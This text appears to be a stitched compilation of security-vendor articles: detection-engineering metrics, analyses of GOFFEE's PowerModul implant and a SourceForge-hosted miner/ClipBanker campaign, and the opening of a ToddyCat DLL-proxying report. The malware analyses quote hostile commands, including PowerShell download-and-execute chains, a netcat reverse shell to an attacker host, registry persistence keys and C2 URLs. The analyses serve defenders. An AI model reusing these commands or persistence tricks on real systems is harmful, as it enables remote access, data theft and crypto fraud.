A good practice is to include triage (or investigation steps) in detection rule documentation. Since the DE team has spent a lot of time understanding the threat, it is very important to document the precursors and possible next steps the attacker can take. The SOC analyst can quickly review these and provide incident qualification with confidence.

For the rule from the previous section, “Initial Access | Suspicious LNK files dropped in download folder | Windows – Medium”, the triage procedure is shown below.

MITRE has a project called the Technique Inference Engine, which provides a model for understanding other techniques an attacker is likely to use based on observed adversary behavior. This tool can be useful for both DE and SOC teams. By analyzing the attacker’s path, organizations can improve alert correlation and enhance scoping of incident/threats.

5. Baselining

Understanding the infrastructure and its baseline operations is a must, as it helps reduce the false positive rate. The detection engineering team must learn the prevention policies (to de-prioritize detection if already remediated), learn about the technologies deployed in the infrastructure, understand the network protocols being used and user behavior under normal circumstances.

For example, to detect T1480.002: Execution Guardrails: Mutual Exclusion sub-technique, MITRE recommends monitoring a “file creation” data component. According to the MITRE Data Sources framework, data components are possible actions with data objects and/or data objects statuses or parameters that may be relevant for threat detection. We discussed them in more detail in our detection prioritization article.

MITRE’s detection recommendation for T1480.002 sub-technique

A simple rule for detecting such activity is to monitor lock file creation events in the /var/run folder, which stores temporary runtime data for running services. However, if you have done the baselining and found that the environment uses containers that also create lock files to manage runtime operations, you can filter out container-linked events to avoid triggering false positive alerts. This filter is easy to apply, and overall detection can be improved by baselining the infrastructure you are monitoring.

6. Finding the narrow corridors

Some indicators, such as file hashes or software tools are easy to change, while others are more difficult to replace. Detections based on such “narrow corridors” tend to have high true positive rates. To pursue this, detection should focus primarily on behavioral indicators, ensuring that attackers cannot easily evade detection by simply changing their tools or tactics. Priority should be given to behavior-based detection over tool-specific, software-dependent, or IoC-driven approaches. This aligns with the Pyramid of Pain model, which emphasizes detecting adversaries based on their tactics, techniques, and procedures (TTPs) rather than easily replaceable indicators. By prioritizing common TTPs, we can effectively identify an adversary’s modus operandi, making detection more resilient and impactful.

7. Universal rules

When planning a detection program from scratch, it is important not to ignore the universal threat detection rules that are mostly available in SIEM by default. Detection engineers should operationalize them as soon as possible and tune them according to feedback received from SOC analysts or what they have learned about the organization’s infrastructure during baselining activity.

Universal rules generally include malicious behavior associated with applications, databases, authentication anomalies, unusual remote access behavior, and policy violation rules (typically to monitor compliance requirements).

Some examples include:

• Windows firewall settings modification detected
• Use of unapproved remote access tools
• Bulk failed database login attempts

Performance measurement

Every investment needs to be justified with measurable outcomes that demonstrate its value. That is why communicating the value of a detection engineering program requires the use of effective and actionable metrics that demonstrate impact and alignment with business objectives. These metrics can be divided into two categories: program-level metrics and technical-level metrics. Program-level metrics signal to security leadership that the program is well aligned with the company’s security objectives. Technical metrics, on the other hand, focus on how operational work is being carried out to maximize the detection engineering team’s operational efficiency. By measuring both program-level metrics and technical-level metrics, security leaders can clearly show how the detection engineering program supports organizational resilience while ensuring operational excellence.

Designing effective program-level metrics requires revisiting the core purpose for initiating the program. This approach helps identify metrics that clearly communicate success to security leadership. There are three metrics that can be very effective to measure the success at program level.

1. Time to Detect (TTD) – this metric is calculated as the time elapsed from the moment an attacker’s initial activity is observed until the time it is formally detected by the analyst. Some SOCs consider the time the alert is triggered on the SIEM as the detection time, but that is not really an actionable metric to consider. The time the alert is converted into a potential incident is the best option to consider for detection time by SOC analysts.

Although the initial detection of activity occurs at t1 (alert triggered), when malicious activity occurs, a series of events must be analyzed before qualifying the incident. This is why t3 is required to correctly qualify the detection as a potential threat. Additional metrics such as time to triage (TTT), which establishes how long it takes to qualify the incident, and time to investigate (TTI), which describes how long it takes to investigate the qualified incident, can also come in handy.

Time to detect compared to time to triage and time to investigate metrics

2. Signal-to-Noise Ratio (SNR) – this metric indicates the effectiveness of detection rules by measuring the balance between relevant and irrelevant information. It compares the number of true positive detections (correct alerts for real threats) to the number of false positives (incorrect or misleading alerts).

Where:

True positives: instances where a real threat is correctly detected
False positives: incorrect alerts that do not represent real threats

A high SNR indicates that the system is generating more meaningful alerts (signal) compared to noise (false positives), thereby enhancing the efficiency of security operations by reducing alert fatigue and focusing analysts’ attention on genuine threats. Improving SNR is crucial to maximizing the performance and reliability of a detection program. SNR directly impacts the amount of SOC analyst effort spent on false positives, which in turn influences alert fatigue and the risk of professional burnout. Therefore, it is a very important metric to consider.

3. Threat Profile Alignment (TPA) – this metric evaluates how well detections are aligned with known adversarial tactics, techniques, and procedures (TTPs). This metric measures this by determining how many of the identified TTPs are adequately covered by unique detections (unique data components).

Total TTPs identified – this is the number of known adversarial techniques relevant to the organization’s threat model, typically derived from cyber threat intelligence threat profiling efforts
Total TTPs covered with at least three unique detections (where possible) – this counts how many of the identified TTPs are covered by at least three distinct detection mechanisms. Having multiple detections for a given TTP enhances detection confidence, ensuring that if one detection fails or is bypassed, others can still identify the activity.
Team efforts supporting the detection engineering program must also be measured to demonstrate progress. These efforts are reflected in technical-level metrics, and monitoring these metrics will help justify team scalability and address productivity challenges. Key metrics are outlined below:

1. Time to Qualify Detection (TTQD) – this metric measures the time required to analyze and validate the relevance of a detection for further processing. The Detection Engineering Lead assesses the importance of the detection and prioritizes it accordingly. The metric equals the time that has elapsed from when a ticket is raised to create a detection to when it is shortlisted for further research and implementation.

2. Time to Create Detection (TTCD) – this tracks the amount of time required to design, develop and deploy a new detection rule. It highlights the agility of detection engineering processes in responding to evolving threats.

3. Detection Backlog – the backlog refers to the number of pending detection rules awaiting review or consideration for detection improvement. A growing backlog might indicate resource constraints or inefficiencies.

4. Distribution of Rules Criticality (High, Medium, Low) – this metric shows the proportion of detection rules categorized by their criticality level. It helps in understanding the balance of focus between high-risk and lower-risk detections.

5. Detection Coverage (MITRE) – detection coverage based on MITRE ATT&CK indicates how well the detection rules cover various tactics, techniques, and procedures (TTPs) in the MITRE ATT&CK framework. It helps identify coverage gaps in the defense strategy. Tracking the number of unique detections that cover each specific technique is highly recommended, as it provides visibility into the threat profile alignment – a program level metric. If unique detections are not being built to detect gaps and the coverage is not increasing over time, it indicates an issue in the detection qualification process.

6. Share of Rules Never Triggered – this metric tracks the percentage of detection rules that have never been triggered since their deployment. It may indicate inefficiencies, such as overly specific or poorly implemented rules, and provides insight for rule optimization.

There are other relevant metrics, such as the proportion of behavior-based rules in the total set. Many more metrics can be derived from a general understanding of the detection engineering process and its purpose to support the DE program. However, program managers should focus on selecting metrics that are easy to measure and can be calculated automatically by available tools, minimizing the need for manual effort. Avoid using an excessive number of metrics, as this can lead to a focus on measurement only. Instead, prioritize a few meaningful metrics that provide valuable insight into the program’s progress and efforts. Choose wisely!

Read More 

GOFFEE is a threat actor that first came to our attention in early 2022. Since then, we have observed malicious activities targeting exclusively entities located in the Russian Federation, leveraging spear phishing emails with a malicious attachment. Starting in May 2022 and up until summer of 2023, GOFFEE deployed modified Owowa (malicious IIS module) in their attacks. As of 2024, GOFFEE started to deploy patched malicious instances of explorer.exe via spear phishing.

During the second half of 2024, GOFFEE continued to launch targeted attacks against organizations in Russia, utilizing PowerTaskel, a non-public Mythic agent written in PowerShell, and introducing a new implant that we dubbed “PowerModul”. The targeted sectors included media and telecommunications, construction, government entities, and energy companies.

This report in a nutshell:

• GOFFEE updated distribution schemes.
• A previously undescribed implant dubbed PowerModul was introduced.
• GOFFEE is increasingly abandoning the use of PowerTaskel in favor of a binary Mythic agent for lateral movement.

For more information, please contact: intelreports@kaspersky.com

Technical details

Initial infection

Currently, several infection schemes are being used at the same time. The starting point is typically a phishing email with a malicious attachment, but the schemes diverge slightly from there. We will review two of them relevant at the time of the research.

The first infection scheme uses a RAR archive with an executable file masquerading as a document. In some cases, the file name uses a double extension, such as “.pdf.exe” or “.doc.exe”. When the user clicks the executable file, a decoy document is downloaded from the C2 and opened, while malicious activity is carried out in parallel.

Example of decoy document

The file itself is a Windows system file (explorer.exe or xpsrchvw.exe), with part of its code patched with a malicious shellcode. The shellcode is similar to what we saw in earlier attacks, but in addition contains an obfuscated Mythic agent, which immediately begins communicating with the command-and-control (C2) server.

Malware execution flow v1

In the second case, the RAR archive contains a Microsoft Office document with a macro that serves as a dropper.

Malware execution flow v2

Malicious document with a macro

When a document is opened, scrambled text and a warning image with the message, “This document was created in an earlier version of Microsoft Office Word. For Microsoft Office Word to display the contents correctly, click ‘Enable Content’”, are shown. Clicking “Enable Content” activates a macro that hides the warning image and restores the text through a normal character replacement operation. Additionally, the macro creates two files in the user’s current folder: an HTA and a PowerShell file, and writes the HTA into the registry using the “LOAD” registry value of the “HKCUSoftwareMicrosoftWindows NTCurrentVersionWindows” registry key.

HKCUSoftwareMicrosoftWindows NTCurrentVersionWindows
"LOAD"="C:Users<USER_NAME>UserCache.ini.hta"

Although the macro itself does not start anything or create new processes, the programs listed in the “LOAD” value of the registry key are run automatically for the currently logged-on user.

UserCache.ini.hta content

The malicious HTA runs a PowerShell script (PowerModul), but not directly. Instead, it first uses cmd.exe and output redirection to drop a JavaScript file named “UserCacheHelper.lnk.js” onto the disk, and then executes it. Only then does the dropped JavaScript run PowerModul:

cmd.exe /c if not exist "C:UsersuserUserCacheHelper.lnk.js" echo var objService = GetObject("winmgmts:\\.\root\cimv2");var objStartup = objService.Get("Win32_ProcessStartup");var objConfig = objStartup.SpawnInstance_();objConfig.ShowWindow = 0;var processClass = objService.Get("Win32_Process");var command = "powershell.exe -c "$raw= Get-Content C:\Users\user\UserCache.ini;Invoke-Expression $raw"";var result = processClass.Create(command, null, objConfig, 0); > C:UsersuserUserCacheHelper.lnk.js

It is worth noting that “UserCache.ini.hta” and “UserCacheHelper.lnk.js” contain strings with full paths to the files, including the local user’s name, instead of environment variables. As a result, the control keys, as well as the file sizes, will vary depending on the current user’s name.

UserCacheHelper.lnk.js content

The “UserCacheHelper.lnk.js” file launches a PowerShell file named “UserCache.ini”, dropped by the initial macro. This file contains encoded PowerModul.

PowerModul

PowerModul is a PowerShell script capable of receiving and executing additional PowerShell scripts from the C2 server. The first instances of this implant’s usage were detected at the beginning of 2024. Initially, it was used to download and launch the PowerTaskel implant, and was considered a relatively minor component for launching PowerTaskel. However, its use of a unique protocol, distinct payload types, and a C2 server different from PowerTaskel’s led us to classify it as a separate family.

UserCache.ini content

In the scheme being described, the PowerModul code is embedded in the “UserCache.ini” file as a Base64-encoded string. The beginning and end of the decoded script are shown in the images below, while the middle section contains a copy of the HTA file, as well as code responsible for dropping the HTA file onto the disk, writing it to the registry, and hiding the file by changing its attributes to “Hidden”. Essentially, this code replicates part of the functionality of the VBA macro found in the Word document, except for file hiding, which was not implemented in VBA.

Beginning of PowerModul

End of PowerModul

When accessing the C2, PowerModul appends an infected system identifier string to the C2 URL, consisting of the computer name, username, and disk serial number, separated with underscores:

hxxp://62.113.114[.]117/api/texts/{computer_name}_{username}_{serial_number}

The response from the C2 is in XML format, complete with scripts encoded in Base64:

HTTP/1.1 200 OK
Server: nginx/1.18.0
Content-Type: text/plain
Content-Length: 35373
Connection: keep-alive

<Configs>
  <Config>
	<Module>ZnVuY3Rpb24gQ3JlYXRlVkJTRmlsZSgkYkJkcmxzRCwgJGlMc1FybVQsIC....==</Module>
	<CountRuns>250</CountRuns>
	<Interval>1</Interval>
  </Config>
  <Config>
	<Module>ZnVuY3Rpb24gUnVuKCl7DQokaWQgPSBnZXQtcmFuZG9tDQokY29kZSA9I...</Module>

There is an additional, previously undescribed function in PowerModul, named “OfflineWorker()”. It decodes a predefined string and executes its contents. In the instance shown in the screenshots above, the string to be decoded is empty, and therefore, nothing is executed. However, we have observed cases where the string contained content. An example of the OfflineWorker() function containing the FlashFileGrabber data stealing tool code is shown below:

function OfflineWorker() {
	try{
    	$___offlineFlash = 'ZnVuY3Rpb24gUnVuKCl7DQokaWQgPSBnZXQtcmFuZG9tDQokY29kZSA9IE…….=';

    	if($___offlineFlash -ne ''){
        	$___flashOfflineDecoded = FromBase64 $___offlineFlash;
        	Invoke-Expression($___flashOfflineDecoded);
    	}
	}
	catch{}
}

The payloads used by PowerModul include the PowerTaskel, FlashFileGrabber, and USB Worm tools.

FlashFileGrabber

As its name suggests, FlashFileGrabber is designed to steal files from removable media, such as flash drives. We have identified two variants: FlashFileGrabber and FlashFileGrabberOffline.

FlashFileGrabberOffline main routine

FlashFileGrabberOffline searches removable media for files with specific extensions, and when found, copies them to the local disk. To accomplish this, it creates a series of subdirectories in the TEMP folder, following the template “%TEMP%CacheStoreconnect<VolumeSerialNumber>”. The folder names “CacheStore” and “connect” are hardcoded within the script. Examples of such paths are provided below:

%TEMP%CacheStoreconnect624311032024some.pdf
%TEMP%CacheStoreconnect62431103Documentssome.docx
%TEMP%CacheStoreconnect62431103attachment.jpg
%TEMP%CacheStoreconnect6c1d1372Printresume.docx

Additionally, a file named “ftree.db” is created at the path specified in the template, which stores metadata for the copied files, including the full path to the original file, its size, and dates of last access and modification. Furthermore, in the “%AppData%” folder, the “internal_profiles.db” file is created, storing the MD5 sums of the aforementioned metadata. This allows the malware to avoid copying the same files more than once:

%TEMP%CacheStoreconnect<VolumeSerialNumber>ftree.db
%AppData%internal_profiles.db

The list of file extensions of interest is as follows:

FlashFileGrabber largely duplicates the functionality of FlashFileGrabberOffline, but with one key difference: it is capable of sending files to the C2 server.

FlashFileGrabber’s routines

USB Worm

USB Worm is capable of infecting removable media with a copy of PowerModul. To achieve this, the worm renames the files on the removable disk with a random name, retaining their original extension, and assigns them the “Hidden” file attribute. The “UserCache.ini” file, which contains PowerModul, is then copied to the folder with the original file.

USB Worm main routine

Additionally, the worm creates hidden VBS and batch files to launch PowerModul and open a decoy document.

CreateVBSFile() and CreateBatFile() functions

Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run Chr(34) & ".zermndzg.bat" & Chr(34), 0, False
WshShell.Run Chr(34) & ".zermndzg.docx" & Chr(34), 1, False
Set WshShell = Nothing

Example of the contents of a malicious VBS

powershell -exec bypass -windowstyle hidden -nop -c "$raw= [io.file]::ReadAllText(""".UserCache.ini"""); iex $raw;"

Example of the contents of a malicious batch file

A shortcut is also created with the original name of the decoy document, which, when launched, executes the VBS file.

CreateShortcutForFile() function

To disguise the shortcut, the worm assigns an icon from the shell32.dll library, depending on the extension of the original file. The worm limits the number of documents replaced with shortcuts to five, selecting only the most recently accessed files by sorting them according to their LastAccessTime attribute.

System infection scheme via removable media

PowerTaskel

We have dubbed the non-public PowerShell Mythic agent delivered via a mail-based infection chain since early 2023, as PowerTaskel. This implant possesses only two primary capabilities: sending information about the targeted environment to a C2 server in the form of a “checkin” message, and executing arbitrary PowerShell scripts and commands received from the C2 server as “tasks” in response to “get_tasking” requests from the implant. The request payloads are PowerShell objects that are serialized to XML, encoded using XOR with a sample-specific 1-byte key, and then converted to Base64.

Based on the naming and ordering of the configuration parameters, it is likely that PowerTaskel is derived from the open-source Medusa Mythic agent, which was originally written in Python.

Comparison of Medusa and PowerTaskel configuration code

Comparison of Medusa and PowerTaskel “checkin” function code

PowerTaskel is a fully functional agent capable of executing commands and PowerShell scripts, which expand its capabilities to downloading and uploading files, running processes, etc. However, its functionality is often insufficient due to specific aspects of PowerShell usage, prompting the group to switch to a custom binary Mythic agent. To achieve this, PowerTaskel loads the Mythic agent from the C2 server, injects it into its own process memory, and runs it in a separate thread. In this scenario, the Mythic agent is present as a self-configuring x32/x64 shellcode. The method of injecting and loading the Mythic agent shellcode is described in more detail in the “Lateral Movement” section.

In at least one instance, PowerTaskel received a script containing a FolderFileGrabber component as a task. FolderFileGrabber largely replicates the functionality of FlashFileGrabber, with one key difference: it can grab files from remote systems via a hardcoded network path using the SMB protocol. The PowerShell cmdlet “New-SmbMapping” is used to access remote system resources, enabling successful retrieval of the desired files.

Lateral movement

Following system infection, if the user account permissions allow it, PowerTaskel performs several tasks to elevate its privileges to the System level. To achieve this, PowerTaskel utilizes the PsExec utility, which is part of the Sysinternals suite. The PsExec utility is dropped into the current directory where PowerTaskel is located and is used to execute mshta.exe with system privileges, passing a URL as an argument.

The images below depict two tasks that PowerTaskel executes with its C2 server. The first task checks for the presence of the file “ntuser.exe” in the %ProgramData% directory, and if it is not found, downloads it from the C2 server. The second task runs mshta.exe via ntuser.exe, which is actually a renamed PsExec utility.

Getting “ntuser.exe”

The “ntuser.exe” executable running “mshta.exe”

The next image illustrates an example of the execution flow of various scripts and commands started with the privilege elevation procedure. The executable file “1cv9.exe” is a renamed PsExec utility, and the argument “-s” specifies that the process it launches should run under the System account. The launched program “mshta.exe” accepts a URL as an argument, which points to an HTA file containing malicious, obfuscated JScript. The HTA file is cached and saved to the InetCache folder. This JScript creates two files, “desktop.js” and “user.txt”, on the disk using the “echo” console command with output redirection to a file, and then executes desktop.js via cscript.exe. The desktop.js file, in turn, launches the interpreter with a script on the command line, which reads the contents of user.txt and executes it. As evident from the contents passed to the “echo” command, user.txt is another PowerShell script whose task is to extract a payload from a hardcoded address and execute it. In this case, the payload is PowerTaskel, which now runs with the elevated privileges.

Example of execution flow on an infected system

Once launched, PowerTaskel interacts with its C2 server and executes standard commands to gather information about the system and environment. Notably, the launch of csc.exe (Visual C# Command Line Compiler) indicates that PowerTaskel has received a task to load a shellcode, which it accomplishes using an auxiliary DLL. The primary function of this DLL is to copy the shellcode into allocated memory. In our case, the shellcode is self-configuring code for the binary Mythic agent.

The final line of the execution flow (“hxxp://192.168.1[.]2:5985/wsman”) reveals a call to the WinRM (Microsoft Windows Remote Management) service, located on a remote host on the local network, via the loaded Mythic agent. A specific User-Agent header value, “Ruby WinRM Client”, is used to access the WinRM service.

HTTP header for WinRM request

The WinRM service is actively utilized by GOFFEE for network distribution purposes. Typically, this involves launching the mshta.exe utility on the remote host with a URL as an argument. The following examples illustrate the execution chains observed on remote hosts:

wmiprvse.exe -secured -Embedding
 -> cmd.exe /C mshta.exe https://<domain>.com/<word>/<word>/<word>/<word>/<word>.hta

wsmprovhost.exe
 -> mshta.exe https://<domain>.com/<word>/<word>/<word>/<word>/<word>.hta

wmiprvse.exe -secured -Embedding
 -> cmd.exe /Q /c powershell.exe mshta.exe https://<domain>.com/<word>/<word>/<word>/<word>/<word>.hta

wmiprvse.exe -secured -Embedding
 -> powershell.exe /C mshta.exe https://<domain>.com/<word>/<word>/<word>/<word>/<word>.hta

Recently, we have observed that GOFFEE is increasingly abandoning the use of PowerTaskel in favor of the binary Mythic agent during lateral movement.

Mythic agent HTA

The mshta.exe utility is still employed to launch the binary Mythic agent, with a URL passed as an argument. However, the payload contents for the passed URL differ from the traditional HTA format. It is relatively large, approximately 180 kilobytes, and is characterized as a polyglot file, which is a type of file that can be validly interpreted in multiple formats. The shellcode containing the Mythic agent is located at the beginning of the file and occupies approximately 80% of its size. It is followed by two Base64-encoded PowerShell scripts, separated by a regular line break, and finally, the HTA file itself.

Polyglot payload

When the mshta.exe utility downloads the aforementioned payload, it interprets it as an HTA file and transfers control to an obfuscated JScript embedded within the HTA section of the polyglot file. The script first determines the argument used to launch the mshta.exe utility, whether it was a URL or a path to a local file. If a URL was used as the argument, the script searches for the original HTA file in the InetCache folder, where the system cached the HTA file during download. To do this, the script iterates through all files in the cache folder and checks their contents for the presence of a specific magic string.

Deobfuscated JScript from the HTA section of the payload

If an HTA file is found on the disk, the script drops two files, “settings.js” and “settings.ps1”, using the “echo” command, and then runs settings.js with additional command-line arguments. The script then sets a timer for 10 seconds, after which the dropped files will be deleted.

Deobfuscated “settings.js”

The running settings.js script accepts three command-line arguments: the path to powershell.exe, the path to the HTA file, and the string “Shell.Application”. These received arguments are used to populate a PowerShell script, the contents of which are then passed to the powershell.exe command line.

powershell.exe -c "$INbqDKHp = "C:\\Users\\[username]\\AppData\\Local\\Microsoft\\Windows\\INetCache\\IE\\duplicate````[1````].hta";$OdfUfjp = get-content $env:USERPROFILE\settings.ps1;$KWfWXqek=1;Invoke-Expression $OdfUfjp;$KWfWXqek=2;Invoke-Expression $OdfUfjp;$KWfWXqek=3;Invoke-Expression $OdfUfjp;"

The script passed to the PowerShell interpreter declares two variables: “$INbqDKHp”, which stores the path to the HTA file, and “$KWfWXqek”, a counter. The script then reads the contents of “settings.ps1” and executes it three times, passing the path to the HTA file and the counter as arguments, and incrementing the value of the “$KWfWXqek” variable by 1 each time.

Deobfuscated “settings.ps1”

During each execution, the “settings.ps1” script reads the contents of the HTA file, splits it into lines, and identifies Base64-encoded scripts. To detect these scripts, it first locates the line containing the HTA application tag by searching for the substring “<HTA:APPLICATION”. The three lines preceding this tag contain Base64-encoded scripts. Depending on the value of the “$KWfWXqek” counter, the script executes the corresponding Base64-encoded script.
The first two scripts are used to declare auxiliary functions, including compiling a helper DLL, which is necessary for executing the shellcode. The third script is responsible for allocating memory, loading the shellcode from the HTA file (whose path is retrieved from the previously defined “$INbqDKHp” variable), and transferring control to the loaded shellcode, which is the self-configuring code of the Mythic agent.

Victims

According to our telemetry, the identified targets of the malicious activities described in this article are located in Russia, with observed activity spanning from July 2024 to December 2024. The targeted industries are diverse, encompassing organizations in the mass media and telecommunications sectors, construction, government entities, and energy companies.

Attribution

In this campaign, the attacker utilized PowerTaskel, which had previously been linked to the GOFFEE group. Additionally, HTA files and various scripts were employed in the infection chain.

The malicious executable attached to the spear phishing email is a patched version of explorer.exe, similar to what we observed in GOFFEE’s attacks earlier in 2024, and contains shellcode that is very similar to the one previously used by GOFFEE.

Considering the same victimology, we can attribute this campaign to GOFFEE with a high degree of confidence.

Conclusions

Despite using similar tools and techniques, GOFFEE introduced several notable changes in this campaign.

For the first time, they employed Word documents with malicious VBA scripts for initial infection. Additionally, GOFFEE utilized a new PowerShell script downloader, PowerModul, to download PowerTaskel, FlashFileGrabber, and USB Worm. They also began using the binary Mythic agent, and likely developed their own implementations in PowerShell and C.

While GOFFEE continues to refine their existing tools and introduce new ones, these changes are not significant enough to suggest that they can be confused with another actor.

Read More 

Recently, we noticed a rather unique scheme for distributing malware that exploits SourceForge, a popular website providing software hosting, comparison, and distribution services. The site hosts numerous software projects, and anyone can upload theirs. One such project, officepackage, on the main website sourceforge.net, appears harmless enough, containing Microsoft Office add-ins copied from a legitimate GitHub project. The description and contents of officepackage provided below were also taken from GitHub.

Description of the “officepackage” project

Few know that projects created on sourceforge.net get a sourceforge.io domain name and web hosting services. Pages like that are well-indexed by search engines and appear in their search results.

Example of a search query and results containing officepackage.sourceforge.io

The project under investigation has been assigned the domain officepackage.sourceforge[.]io, but the page displayed when you go to that domain looks nothing like officepackage on sourceforge.net. Instead of the description copied from GitHub, the visitor is presented with an imposing list of office applications complete with version numbers and “Download” buttons.

The project as seen on the officepackage.sourcefoge.io domain

Hovering over one of the buttons reveals a seemingly legit URL in the browser status bar: https[:]//loading.sourceforge[.]io/download. It is easy to make the mistake of associating that URL with officepackage, as the buttons are on that project’s page. However, the loading.sourceforge.io domain suggests a different project on sourceforge.net, named loading.

URL associated with the “Download” button

Clicking the link redirects to a page with yet another “Download” button, this time in English.

Page for downloading the suspicious archive

Clicking that button finally downloads a roughly seven-megabyte archive named vinstaller.zip. This raises some red flags, as office applications are never that small, even when compressed.

The infection chain: from searching for office software to downloading an installer

The downloaded archive contains another password-protected archive, installer.zip, and a Readme.txt file with the password.

Contents of vinstaller.zip

Inside installer.zip is a file named installer.msi. This is a Windows Installer file that exceeds 700 megabytes. Apparently, the large size is intended to convince users they are looking at a genuine software installer. Attackers use the file pumping technique to inflate the file size by appending junk data. The file in question was padded with null bytes. After we stripped the junk bytes, its true size was 7 megabytes.

Contents of installer.zip

Running the installer creates several files, with two being of interest to us: UnRAR.exe (a console archive utility) and a password-protected archive named 51654.rar. The installer then executes an embedded Visual Basic script. Attackers have long distributed password-protected archives along with unpacking utilities, passing the password via the command line. However, this case has an intermediary step. The installer files lack an archive password. Instead, to continue the infection chain, the VB script runs a PowerShell interpreter to download and execute a batch file, confvk, from GitHub. This file contains the password for the RAR archive. It also unpacks malicious files and runs the next-stage script.

The infection chain: from launching the installer to downloading the confvk batch script

Here is a breakdown of how the batch script works. First, it checks for an existing infection by searching for the AutoIt interpreter at a specific path. If AutoIt is found, the script deletes itself and exits. If not, the script checks for processes associated with antivirus software, security solutions, virtual environments, and research tools. If it detects anything like that, it deletes itself.

If both checks pass, the script unpacks the RAR archive and runs two PowerShell scripts within its code.

"%ProgramData%distUnRAR.exe" x -y -p147852369 "%ProgramData%dist51654.rar" "%ProgramData%dist"

Command to unpack the RAR archive executed by the batch file

One of the PowerShell scripts sends a message to a certain chat using the Telegram API. The message contains system information, the infected device’s external IP address and country, CPU name, operating system, installed antivirus, username, and computer name.

Code snippet from confvk with commands to unpack the malicious archive and run the Telegram file-sending script

The other PowerShell script downloads another batch file, confvz, to process the files that were extracted from the RAR archive.

Contents of the RAR archive

The contents of the archive can be seen in the screenshot above. Below is a summary of each file.

The confvz batch file creates three subdirectories at %ProgramData% and moves the unpacked archive files into those. The first subdirectory receives Input.exe and Icon.dll, the second gets another Input.exe copy with Kape.dll, and the third gets all netcat files. The batch file then creates ini.cmd and init.cmd batch scripts at %USERPROFILE%Cookies to run the files it copied. These scripts execute Input.exe (the AutoIt interpreter), passing the paths to Icon.dll and Kape.dll (both containing compressed AutoIt scripts) as arguments.

Contents of the confvz batch file

Next, confvz generates keys in the registry key HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionApp Paths*. These link to the ini.cmd and init.cmd batch files. The keys allow running files using shortened names. For example, the registry key

HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionApp Pathsinstall.exe"::"%USERPROFILE%Cookiesini.cmd

launches ini.cmd when running install.exe. Similarly, start.exe is registered as a link to init.exe, and Setup.exe links to the system utility %WINDIR%System32oobeSetup.exe, normally launched during OS installation. We will revisit this utility later.

Then confvz creates services named NetworkConfiguration and PerformanceMonitor to autostart the batch files, and a service named Update to directly run the AutoIt interpreter without intermediate batch files.

Additionally, as a backup autostart method, confvz adds this registry key:

"HKLMSOFTWAREMicrosoftWindows NTCurrentVersionImage File Execution OptionsMicrosoftEdgeUpdate.exe"::Debugger="%WINDIR%System32cmd.exe /c start start.exe"

This runs a debugger when MicrosoftEdgeUpdate.exe is started. The debugger is set to execute start.exe, which, based on the earlier registry keys, points to init.cmd.

Using the built-in WMIC utility, an event filter is created to trigger a handler every 80 seconds. While disabled by default in more recent Windows versions, WMIC still functions in older systems.

The handler executes the following command:

ShellExperienceHost.exe --ssl apap.app 445 -e cmd.exe

ShellExperienceHost.exe is the netcat executable from the malicious archive. The arguments above make the utility establish an encrypted connection with the C2 server apap[.]app on port 445 and launch a command-line interpreter with redirected input/output through that connection. This essentially creates a remote command line with apap[.]app:445 as the C2 server.

Finally, confvz creates a file:

%WINDIR%SetupScriptsErrorHandler.cmd

This is a custom script you can build in Windows to streamline troubleshooting during OS installation. If a critical error occurs, the %System32%oobeSetup.exe utility finds and executes this file. However, the attackers have found a way to exploit it for automatic startup. They achieve this by again using the operating system’s built-in WMIC utility to establish an event filter that triggers the handler every 300 seconds. The handler is specified as %WINDIR%System32cmd.exe /c start Setup.exe, while Setup.exe, according to the registry keys created earlier, references the utility %WINDIR%System32oobeSetup.exe, which executes ErrorHandler.cmd upon launch. The ErrorHandler.cmd file contains a short PowerShell script that uses the Telegram API to retrieve and execute a text string. This is another remote command line, but its output is not sent anywhere.

The infection chain: from executing confvk to setting up all the auto-start methods

The key malicious actions in this campaign boil down to running two AutoIt scripts. Icon.dll restarts the AutoIt interpreter and injects a miner into it, while Kape.dll does the same but injects ClipBanker. ClipBanker is a malware family that replaces cryptocurrency wallet addresses in the clipboard with the attackers’ own. Users of crypto wallets typically copy addresses instead of typing them. If the device is infected with ClipBanker, the victim’s money will end up somewhere entirely unexpected.

Victims

The officepackage.sourceforge[.]io site has a Russian interface, suggesting a focus on Russian-speaking users. Our telemetry indicates that 90% of potential victims are in Russia, where 4,604 users encountered the scheme between early January and late March.

Takeaways

Distributing malware disguised as pirated software is anything but new. As users seek ways to download applications outside official sources, attackers offer their own. They keep looking for new ways to make their websites look legit. The scheme described here exploits SourceForge feature of creating a sourceforge.io subdomain for each sourceforge.net repository.

The persistence methods are worthy of note as well. Attackers secure access to an infected system through multiple methods, including unconventional ones. While the attack primarily targets cryptocurrency by deploying a miner and ClipBanker, the attackers could sell system access to more dangerous actors.

We advise users against downloading software from untrusted sources. If you are unable to obtain some software from official sources for any reason, remember that seeking alternative download options always carries higher security risks.

Read More 

To hide their activity in infected systems, APT groups resort to various techniques to bypass defenses. Most of these techniques are well known and detectable by both EPP solutions and EDR threat-monitoring and response tools. For example, to hide their activity in Windows systems, cybercriminals can use kernel-level rootkits, in particular malicious drivers. However, in the latest versions of Windows, kernel-mode drivers are loaded only if digitally signed by Microsoft. Attackers get round this protection mechanism by using legitimate drivers that have the right signature, but contain vulnerable functions that allow malicious actions in the context of the kernel. Monitoring tools track the installation of such drivers and check applications that perform it. But what if a security solution performs unsafe activity? Such software enjoys the trust of monitoring tools and doesn’t raise suspicions.

And that’s precisely what ToddyCat attackers exploited by running their tool in the context of a security solution.

Detection

In early 2024, while investigating ToddyCat-related incidents, we detected a suspicious file named

version.dll

in the temp directory on multiple devices.

This 64-bit DLL, written in C++, turned out to be a complex tool called TCESB. Previously unseen in ToddyCat attacks, it is designed to stealthily execute payloads in circumvention of protection and monitoring tools installed on the device.

Kaspersky products detect this tool as

Trojan.Win64.ToddyCat.a

,

Trojan.Win64.ToddyCat.b

.

Loading the tool

DLL proxying

Static analysis of the DLL library showed that all functions exported by it import functions with the same names from the system file

version.dll

(Version Checking and File Installation Libraries).

List of functions exported by TCESB

This indicates that the attackers use a DLL-proxying technique (Hijack Execution Flow, T1574) to run the malicious code. By means of this technique, a malicious DLL exports all functions of a legitimate one, but instead of implementing them, redirects calls to these functions to the original DLL. This way, an application that loads the malicious library will continue to work as normal, with the malicious code running in the context of this application in the background.

Schematic of DLL proxying

